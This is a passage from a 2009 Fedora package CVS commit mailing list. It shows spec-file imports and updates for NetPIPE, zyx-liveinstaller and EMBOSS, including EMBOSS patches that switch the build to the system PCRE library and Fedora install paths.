--- NEW FILE NetPIPE.spec ---
Summary: Protocol independent performance tool
Name: NetPIPE
Version: 3.7.1
Release: 2%{?dist}
License: GPL+
Group: Applications/Internet
URL: http://bitspjoule.org/netpipe/

Source: http://bitspjoule.org/netpipe/code/NetPIPE-%{version}.tar.gz
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

%description
NetPIPE is a protocol independent performance tool that visually represents
the network performance under a variety of conditions. It performs simple
ping-pong tests, bouncing messages of increasing size between two processes,
whether across a network or within an SMP system. Message sizes are chosen
at regular intervals, and with slight perturbations, to provide a complete
test of the communication system. Each data point involves many ping-pong
tests to provide an accurate timing. Latencies are calculated by dividing
the round trip time in half for small messages ( < 64 Bytes ).

%prep
%setup -q 

%build
make %{?_smp_mflags} memcpy tcp \
	CFLAGS="$RPM_OPT_FLAGS"

%install
rm -rf %{buildroot}
chmod 0644 dox/*
chmod 0644 bin/feplot
chmod 0644 bin/geplot
chmod 0644 bin/nplaunch

install -Dp -m0755 NPmemcpy %{buildroot}%{_bindir}/NPmemcpy
install -Dp -m0755 NPtcp %{buildroot}%{_bindir}/NPtcp
install -Dp -m0644 dox/netpipe.1 %{buildroot}%{_mandir}/man1/netpipe.1

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%doc dox/netpipe_paper.ps  dox/README dox/np_cluster2002.pdf dox/np_euro.pdf
%doc bin/feplot bin/geplot bin/nplaunch
%doc %{_mandir}/man1/netpipe.1*
%{_bindir}/*

%changelog
* Thu Oct 15 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-2
- Cleaned up spec file
* Mon Oct 14 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-1.2
- changed: buildroot
- added: -q to setup
- added: %{?dist} tag to release field
- modified: CFLAGS
- fixed perms on netpipe.spec
- removed obsoletes line
- removed executable perms on docs files
* Mon Sep 12 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-1.2
- Rebuild for Fedora



--- NEW FILE import.log ---
NetPIPE-3_7_1-2_fc11:EL-5:NetPIPE-3.7.1-2.fc11.src.rpm:1255818114


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/NetPIPE/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:46:01 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:22:59 -0000	1.2
@@ -0,0 +1 @@
+NetPIPE-3.7.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetPIPE/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:46:01 -0000	1.1
+++ sources	17 Oct 2009 22:22:59 -0000	1.2
@@ -0,0 +1 @@
+5f720541387be065afdefc81d438b712  NetPIPE-3.7.1.tar.gz



From boodle at fedoraproject.org  Sat Oct 17 22:23:43 2009
From: boodle at fedoraproject.org (boodle)
Date: Sat, 17 Oct 2009 22:23:43 +0000 (UTC)
Subject: rpms/NetPIPE/F-12 NetPIPE.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017222343.7412211C0260@cvs1.fedora.phx.redhat.com>

Author: boodle

Update of /cvs/pkgs/rpms/NetPIPE/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18630/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	NetPIPE.spec import.log 
Log Message:
Initial F-12 commit




--- NEW FILE NetPIPE.spec ---
Summary: Protocol independent performance tool
Name: NetPIPE
Version: 3.7.1
Release: 2%{?dist}
License: GPL+
Group: Applications/Internet
URL: http://bitspjoule.org/netpipe/

Source: http://bitspjoule.org/netpipe/code/NetPIPE-%{version}.tar.gz
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

%description
NetPIPE is a protocol independent performance tool that visually represents
the network performance under a variety of conditions. It performs simple
ping-pong tests, bouncing messages of increasing size between two processes,
whether across a network or within an SMP system. Message sizes are chosen
at regular intervals, and with slight perturbations, to provide a complete
test of the communication system. Each data point involves many ping-pong
tests to provide an accurate timing. Latencies are calculated by dividing
the round trip time in half for small messages ( < 64 Bytes ).

%prep
%setup -q 

%build
make %{?_smp_mflags} memcpy tcp \
	CFLAGS="$RPM_OPT_FLAGS"

%install
rm -rf %{buildroot}
chmod 0644 dox/*
chmod 0644 bin/feplot
chmod 0644 bin/geplot
chmod 0644 bin/nplaunch

install -Dp -m0755 NPmemcpy %{buildroot}%{_bindir}/NPmemcpy
install -Dp -m0755 NPtcp %{buildroot}%{_bindir}/NPtcp
install -Dp -m0644 dox/netpipe.1 %{buildroot}%{_mandir}/man1/netpipe.1

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%doc dox/netpipe_paper.ps  dox/README dox/np_cluster2002.pdf dox/np_euro.pdf
%doc bin/feplot bin/geplot bin/nplaunch
%doc %{_mandir}/man1/netpipe.1*
%{_bindir}/*

%changelog
* Thu Oct 15 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-2
- Cleaned up spec file
* Mon Oct 14 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-1.2
- changed: buildroot
- added: -q to setup
- added: %{?dist} tag to release field
- modified: CFLAGS
- fixed perms on netpipe.spec
- removed obsoletes line
- removed executable perms on docs files
* Mon Sep 12 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-1.2
- Rebuild for Fedora



--- NEW FILE import.log ---
NetPIPE-3_7_1-2_fc11:F-12:NetPIPE-3.7.1-2.fc11.src.rpm:1255818160


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/NetPIPE/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:46:01 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:23:43 -0000	1.2
@@ -0,0 +1 @@
+NetPIPE-3.7.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetPIPE/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:46:01 -0000	1.1
+++ sources	17 Oct 2009 22:23:43 -0000	1.2
@@ -0,0 +1 @@
+5f720541387be065afdefc81d438b712  NetPIPE-3.7.1.tar.gz



From sdz at fedoraproject.org  Sat Oct 17 22:43:09 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 17 Oct 2009 22:43:09 +0000 (UTC)
Subject: rpms/zyx-liveinstaller/devel .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 zyx-liveinstaller.spec, 1.5, 1.6
Message-ID: <20091017224309.DEC6611C00EC@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/zyx-liveinstaller/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25479

Modified Files:
	.cvsignore sources zyx-liveinstaller.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	10 Oct 2009 16:58:19 -0000	1.5
+++ .cvsignore	17 Oct 2009 22:43:09 -0000	1.6
@@ -1 +1 @@
-zyx-liveinstaller-0.1.13.tar.bz2
+zyx-liveinstaller-0.1.14.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	10 Oct 2009 16:58:19 -0000	1.5
+++ sources	17 Oct 2009 22:43:09 -0000	1.6
@@ -1 +1 @@
-7c1beea9705a0ae7be135f33108a41a5  zyx-liveinstaller-0.1.13.tar.bz2
+8848753b215fb7d82ef161724fae5cd6  zyx-liveinstaller-0.1.14.tar.bz2


Index: zyx-liveinstaller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/devel/zyx-liveinstaller.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- zyx-liveinstaller.spec	10 Oct 2009 16:58:19 -0000	1.5
+++ zyx-liveinstaller.spec	17 Oct 2009 22:43:09 -0000	1.6
@@ -1,14 +1,14 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           zyx-liveinstaller
-Version:        0.1.13
+Version:        0.1.14
 Release:        1%{?dist}
 Summary:        Install a running LiveOS rebootlessly
 
 Group:          Applications/System
 License:        GPLv3
 URL:            http://www.filteredperception.org/smiley/projects/zyx-liveinstaller
-Source0:        http://filteredperception.org/downloads/TESTING/%{name}-%{version}.tar.bz2
+Source0:        http://filteredperception.org/downloads/%{name}/%{name}-%{version}.tar.bz2
 
 BuildArch:      noarch
 BuildRequires:  desktop-file-utils
@@ -54,6 +54,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 18 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.14-1
+- update to new upstream release
+- adjust source url
+
 * Sat Oct 10 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.13-1
 - update to new upstream release
 



From sdz at fedoraproject.org  Sat Oct 17 22:43:21 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 17 Oct 2009 22:43:21 +0000 (UTC)
Subject: rpms/zyx-liveinstaller/F-12 .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 zyx-liveinstaller.spec, 1.5, 1.6
Message-ID: <20091017224321.3F25211C00EC@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/zyx-liveinstaller/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25685

Modified Files:
	.cvsignore sources zyx-liveinstaller.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	10 Oct 2009 17:23:50 -0000	1.5
+++ .cvsignore	17 Oct 2009 22:43:20 -0000	1.6
@@ -1 +1 @@
-zyx-liveinstaller-0.1.13.tar.bz2
+zyx-liveinstaller-0.1.14.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	10 Oct 2009 17:23:50 -0000	1.5
+++ sources	17 Oct 2009 22:43:20 -0000	1.6
@@ -1 +1 @@
-7c1beea9705a0ae7be135f33108a41a5  zyx-liveinstaller-0.1.13.tar.bz2
+8848753b215fb7d82ef161724fae5cd6  zyx-liveinstaller-0.1.14.tar.bz2


Index: zyx-liveinstaller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-12/zyx-liveinstaller.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- zyx-liveinstaller.spec	10 Oct 2009 17:23:50 -0000	1.5
+++ zyx-liveinstaller.spec	17 Oct 2009 22:43:21 -0000	1.6
@@ -1,14 +1,14 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           zyx-liveinstaller
-Version:        0.1.13
+Version:        0.1.14
 Release:        1%{?dist}
 Summary:        Install a running LiveOS rebootlessly
 
 Group:          Applications/System
 License:        GPLv3
 URL:            http://www.filteredperception.org/smiley/projects/zyx-liveinstaller
-Source0:        http://filteredperception.org/downloads/TESTING/%{name}-%{version}.tar.bz2
+Source0:        http://filteredperception.org/downloads/%{name}/%{name}-%{version}.tar.bz2
 
 BuildArch:      noarch
 BuildRequires:  desktop-file-utils
@@ -54,6 +54,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 18 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.14-1
+- update to new upstream release
+- adjust source url
+
 * Sat Oct 10 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.13-1
 - update to new upstream release
 



From sdz at fedoraproject.org  Sat Oct 17 22:43:45 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sat, 17 Oct 2009 22:43:45 +0000 (UTC)
Subject: rpms/zyx-liveinstaller/F-11 .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 zyx-liveinstaller.spec, 1.6, 1.7
Message-ID: <20091017224345.68ACD11C00EC@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/zyx-liveinstaller/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25788

Modified Files:
	.cvsignore sources zyx-liveinstaller.spec 
Log Message:
update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-11/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	10 Oct 2009 17:31:18 -0000	1.5
+++ .cvsignore	17 Oct 2009 22:43:45 -0000	1.6
@@ -1 +1 @@
-zyx-liveinstaller-0.1.13.tar.bz2
+zyx-liveinstaller-0.1.14.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	10 Oct 2009 17:31:18 -0000	1.5
+++ sources	17 Oct 2009 22:43:45 -0000	1.6
@@ -1 +1 @@
-7c1beea9705a0ae7be135f33108a41a5  zyx-liveinstaller-0.1.13.tar.bz2
+8848753b215fb7d82ef161724fae5cd6  zyx-liveinstaller-0.1.14.tar.bz2


Index: zyx-liveinstaller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/zyx-liveinstaller/F-11/zyx-liveinstaller.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- zyx-liveinstaller.spec	10 Oct 2009 17:31:18 -0000	1.6
+++ zyx-liveinstaller.spec	17 Oct 2009 22:43:45 -0000	1.7
@@ -1,14 +1,14 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           zyx-liveinstaller
-Version:        0.1.13
+Version:        0.1.14
 Release:        1%{?dist}
 Summary:        Install a running LiveOS rebootlessly
 
 Group:          Applications/System
 License:        GPLv3
 URL:            http://www.filteredperception.org/smiley/projects/zyx-liveinstaller
-Source0:        http://filteredperception.org/downloads/TESTING/%{name}-%{version}.tar.bz2
+Source0:        http://filteredperception.org/downloads/%{name}/%{name}-%{version}.tar.bz2
 
 BuildArch:      noarch
 BuildRequires:  desktop-file-utils
@@ -54,6 +54,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 18 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.14-1
+- update to new upstream release
+- adjust source url
+
 * Sat Oct 10 2009 Sebastian Dziallas <sebastian at when.com> - 0.1.13-1
 - update to new upstream release
 



From belegdol at fedoraproject.org  Sat Oct 17 22:47:55 2009
From: belegdol at fedoraproject.org (belegdol)
Date: Sat, 17 Oct 2009 22:47:55 +0000 (UTC)
Subject: rpms/EMBOSS/devel EMBOSS-6.1.0-destdir.patch, NONE,
	1.1 EMBOSS-fedora.patch, NONE, 1.1 EMBOSS-system-pcre.patch,
	NONE, 1.1 EMBOSS.spec, NONE, 1.1 README.fixes, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017224755.7F4F111C00EC@cvs1.fedora.phx.redhat.com>

Author: belegdol

Update of /cvs/pkgs/rpms/EMBOSS/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28184/devel

Modified Files:
	.cvsignore sources 
Added Files:
	EMBOSS-6.1.0-destdir.patch EMBOSS-fedora.patch 
	EMBOSS-system-pcre.patch EMBOSS.spec README.fixes import.log 
Log Message:
Initial import

EMBOSS-6.1.0-destdir.patch:
 Makefile.am |    2 +-
 Makefile.in |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE EMBOSS-6.1.0-destdir.patch ---
--- jemboss/Makefile.am.destdir	2009-06-15 13:08:19.000000000 +0200
+++ jemboss/Makefile.am	2009-07-29 12:52:37.000000000 +0200
@@ -64,7 +64,7 @@
 	echo "(cd $(prefix)/share/$(PACKAGE)/jemboss; java org/emboss/jemboss/Jemboss &)" >> $(DESTDIR)$(bindir)/runJemboss.csh; \
 	chmod 755 $(DESTDIR)$(bindir)/runJemboss.csh; \
 	(cd $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/resources; sed "s|user.auth=true|user.auth=false|" jemboss.properties | sed "s|jemboss.server=true|jemboss.server=false|" |  sed "s|/packages/emboss/STABLE|$(prefix)|" > jemboss.properties.new; mv -f jemboss.properties.new jemboss.properties; cd -); \
-    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
+    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
     chmod 755 $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh;
     
 pkgdata_DATA = LICENSE readme.html README
--- jemboss/Makefile.in.destdir	2009-07-15 01:16:00.000000000 +0200
+++ jemboss/Makefile.in	2009-07-29 12:52:39.000000000 +0200
@@ -682,7 +682,7 @@
 	echo "(cd $(prefix)/share/$(PACKAGE)/jemboss; java org/emboss/jemboss/Jemboss &)" >> $(DESTDIR)$(bindir)/runJemboss.csh; \
 	chmod 755 $(DESTDIR)$(bindir)/runJemboss.csh; \
 	(cd $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/resources; sed "s|user.auth=true|user.auth=false|" jemboss.properties | sed "s|jemboss.server=true|jemboss.server=false|" |  sed "s|/packages/emboss/STABLE|$(prefix)|" > jemboss.properties.new; mv -f jemboss.properties.new jemboss.properties; cd -); \
-    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
+    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
     chmod 755 $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh;
 
 # tar to pick up the other directories

EMBOSS-fedora.patch:
 jemboss.properties |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE EMBOSS-fedora.patch ---
--- jemboss/resources/jemboss.properties.fedora	2008-05-02 15:27:28.000000000 +0200
+++ jemboss/resources/jemboss.properties	2009-04-16 20:11:28.000000000 +0200
@@ -5,8 +5,8 @@
 service.public=JembossAuthServer
 service.private=JembossAuthServer
 plplot=/packages/emboss/STABLE/share/EMBOSS/
-embossData=/packages/emboss/STABLE/share/EMBOSS/data/
-embossBin=/packages/emboss/STABLE/bin/
+embossData=/usr/share/EMBOSS/data/
+embossBin=/usr/bin/
 embossPath=/usr/bin:/bin:/packages/clustal/:/packages/primer3/bin:/data/jobqueue/bin/:/usr/ucb/
-acdDirToParse=/packages/emboss/STABLE/share/EMBOSS/acd/
+acdDirToParse=/usr/share/EMBOSS/acd/
 embossURL=http://emboss.sourceforge.net/

EMBOSS-system-pcre.patch:
 ajax/Makefile.in |   26 ++++-----------------
 ajax/ajreg.h     |    6 ++--
 configure        |   67 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 75 insertions(+), 24 deletions(-)

--- NEW FILE EMBOSS-system-pcre.patch ---
diff -up EMBOSS-6.1.0/ajax/ajreg.h.pcre EMBOSS-6.1.0/ajax/ajreg.h
--- EMBOSS-6.1.0/ajax/ajreg.h.pcre	2007-02-09 19:30:59.000000000 +0100
+++ EMBOSS-6.1.0/ajax/ajreg.h	2009-09-27 03:17:19.000000000 +0200
@@ -16,8 +16,8 @@ extern "C"
 #define ajreg_h
 
 #include "ajax.h"
-#include "pcre_internal.h"
-#include "pcreposix.h"
+#include <pcre.h>
+#include <pcreposix.h>
 
 #define AJREG_OVECSIZE 30
 
@@ -37,7 +37,7 @@ extern "C"
 ******************************************************************************/
 
 typedef struct AjSRegexp {
-    real_pcre *pcre;
+    struct real_pcre *pcre;
     pcre_extra *extra;
     int *ovector;
     const char* orig;
diff -up EMBOSS-6.1.0/ajax/Makefile.in.pcre EMBOSS-6.1.0/ajax/Makefile.in
--- EMBOSS-6.1.0/ajax/Makefile.in.pcre	2009-07-15 01:15:58.000000000 +0200
+++ EMBOSS-6.1.0/ajax/Makefile.in	2009-09-27 03:17:19.000000000 +0200
@@ -81,7 +81,7 @@ am__libajax_la_SOURCES_DIST = ajacd.c aj
 	ajphylo.c ajrange.c ajreg.c ajreport.c ajseq.c ajseqabi.c \
 	ajseqdb.c ajseqread.c ajseqtype.c ajseqwrite.c ajsort.c \
 	ajstr.c ajsys.c ajtable.c ajtime.c ajtranslate.c ajtree.c \
-	ajutil.c ajvector.c pcre.c pcre_study.c pcreposix.c ajgraph.c \
+	ajutil.c ajvector.c \
 	ajhist.c
 am__objects_1 = ajacd.lo ajalign.lo ajarr.lo ajassert.lo ajbase.lo \
 	ajcall.lo ajcod.lo ajdan.lo ajdmx.lo ajdom.lo ajdomain.lo \
@@ -92,7 +92,7 @@ am__objects_1 = ajacd.lo ajalign.lo ajar
 	ajreport.lo ajseq.lo ajseqabi.lo ajseqdb.lo ajseqread.lo \
 	ajseqtype.lo ajseqwrite.lo ajsort.lo ajstr.lo ajsys.lo \
 	ajtable.lo ajtime.lo ajtranslate.lo ajtree.lo ajutil.lo \
-	ajvector.lo pcre.lo pcre_study.lo pcreposix.lo
+	ajvector.lo
 am__objects_2 = ajgraph.lo ajhist.lo
 @ISCYGWIN_FALSE at am_libajax_la_OBJECTS = $(am__objects_1)
 @ISCYGWIN_TRUE at am_libajax_la_OBJECTS = $(am__objects_1) \
@@ -159,7 +159,6 @@ EXEEXT = @EXEEXT@
 FGREP = @FGREP@
 GREP = @GREP@
 HAVE_MEMMOVE = @HAVE_MEMMOVE@
-HAVE_STRERROR = @HAVE_STRERROR@
 INSTALL = @INSTALL@
 INSTALL_DATA = @INSTALL_DATA@
 INSTALL_PROGRAM = @INSTALL_PROGRAM@
@@ -172,7 +171,7 @@ LD = @LD@
 LDFLAGS = @LDFLAGS@
 LIBOBJS = @LIBOBJS@
 #LDFLAGS = -no-undefined
-LIBS = 
+LIBS = @LIBS@
 LIBTOOL = @LIBTOOL@
 LIPO = @LIPO@
 LN_S = @LN_S@
@@ -193,13 +192,6 @@ PACKAGE_STRING = @PACKAGE_STRING@
 PACKAGE_TARNAME = @PACKAGE_TARNAME@
 PACKAGE_VERSION = @PACKAGE_VERSION@
 PATH_SEPARATOR = @PATH_SEPARATOR@
-PCRE_DATE = @PCRE_DATE@
-PCRE_LIB_VERSION = @PCRE_LIB_VERSION@
-PCRE_MAJOR = @PCRE_MAJOR@
-PCRE_MINOR = @PCRE_MINOR@
-PCRE_POSIXLIB_VERSION = @PCRE_POSIXLIB_VERSION@
-PCRE_VERSION = @PCRE_VERSION@
-POSIX_MALLOC_THRESHOLD = @POSIX_MALLOC_THRESHOLD@
 RANLIB = @RANLIB@
 SED = @SED@
 SET_MAKE = @SET_MAKE@
@@ -272,8 +264,6 @@ top_srcdir = @top_srcdir@
 @ISAIXIA64_TRUE@@ISSHARED_TRUE@@NEEDAJAX_FALSE at AM_CFLAGS = -Wl,-G -L../plplot/.libs -L.libs -leplplot -lm
 @ISAIXIA64_TRUE@@ISSHARED_TRUE@@NEEDAJAX_TRUE at AM_CFLAGS = -Wl,-G -L../plplot/.libs -L.libs -lajax -leplplot -lm
 @ISCYGWIN_TRUE at AM_LDFLAGS = -no-undefined -Wl,--add-stdcall-alias -Wl,--export-all-symbols -Wl,--enable-auto-import -L../plplot -leplplot
-PCRELIBVERSION = @PCRE_LIB_VERSION@
-PCREPOSIXLIBVERSION = @PCRE_POSIXLIB_VERSION@
 INCLUDES = -DAJAX_FIXED_ROOT=$(AJAX_FIXED_ROOT) -DPREFIX=\"$(prefix)\" -I$(top_srcdir)/plplot $(POSIX_MALLOC_THRESHOLD) 
 AJAXSRC = ajacd.c ajalign.c ajarr.c ajassert.c \
 ajbase.c ajcall.c ajcod.c \
@@ -288,8 +278,7 @@ ajrange.c ajreg.c ajreport.c \
 ajseq.c ajseqabi.c ajseqdb.c ajseqread.c ajseqtype.c ajseqwrite.c \
 ajsort.c ajstr.c ajsys.c \
 ajtable.c ajtime.c ajtranslate.c ajtree.c \
-ajutil.c ajvector.c \
-pcre.c pcre_study.c pcreposix.c
+ajutil.c ajvector.c
 
 AJAXGSRC = ajgraph.c ajhist.c
 include_HEADERS = ajax.h ajarch.h ajdefine.h \
@@ -303,9 +292,7 @@ ajpat.h ajpdb.h ajpdbio.h ajphylo.h \
 ajrange.h ajreg.h ajreport.h \
 ajseq.h ajseqabi.h ajseqdata.h ajseqdb.h ajseqread.h ajseqtype.h ajseqwrite.h \
 ajsort.h ajstr.h ajsys.h \
-ajtable.h ajtime.h ajtranslate.h ajtree.h ajutil.h ajvector.h \
-pcre.h pcre_chartables.c pcre_config.h pcre_get.c pcre_printint.c \
-pcre_internal.h pcreposix.h
+ajtable.h ajtime.h ajtranslate.h ajtree.h ajutil.h ajvector.h
 
 @ISCYGWIN_FALSE at libajax_la_SOURCES = $(AJAXSRC)
 @ISCYGWIN_TRUE at libajax_la_SOURCES = $(AJAXSRC) $(AJAXGSRC)
@@ -440,9 +427,6 @@ distclean-compile:
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajtree.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajutil.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajvector.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcre.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcre_study.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcreposix.Plo at am__quote@
 
 .c.o:
 @am__fastdepCC_TRUE@	$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $<
diff -up EMBOSS-6.1.0/configure.pcre EMBOSS-6.1.0/configure
--- EMBOSS-6.1.0/configure.pcre	2009-07-15 01:15:56.000000000 +0200
+++ EMBOSS-6.1.0/configure	2009-09-27 03:21:32.000000000 +0200
@@ -16724,6 +16724,73 @@ _ACEOF
 
 fi
 
+{ echo "$as_me:$LINENO: checking for pcre_compile in -lpcre" >&5
+echo $ECHO_N "checking for pcre_compile in -lpcre... $ECHO_C" >&6; }
+if test "${ac_cv_lib_pcre_pcre_compile+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lpcre  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any GCC internal prototype to avoid an error.
+   Use char because int might match the return type of a GCC
+   builtin and then its argument prototype would still apply.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+char pcre_compile ();
+int
+main ()
+{
+return pcre_compile ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (ac_try="$ac_link"
+case "(($ac_try" in
+  *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
+  *) ac_try_echo=$ac_try;;
+esac
+eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5
+  (eval "$ac_link") 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && {
+         test -z "$ac_c_werror_flag" ||
+         test ! -s conftest.err
+       } && test -s conftest$ac_exeext &&
+       $as_test_x conftest$ac_exeext; then
+  ac_cv_lib_pcre_pcre_compile=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+        ac_cv_lib_pcre_pcre_compile=no
+fi
+
+rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+{ echo "$as_me:$LINENO: result: $ac_cv_lib_pcre_pcre_compile" >&5
+echo "${ECHO_T}$ac_cv_lib_pcre_pcre_compile" >&6; }
+if test "x$ac_cv_lib_pcre_pcre_compile" = x""yes; then
+  LIBS="-lpcre $LIBS"
+else
+  LIBS="$LIBS"
+fi
+
 
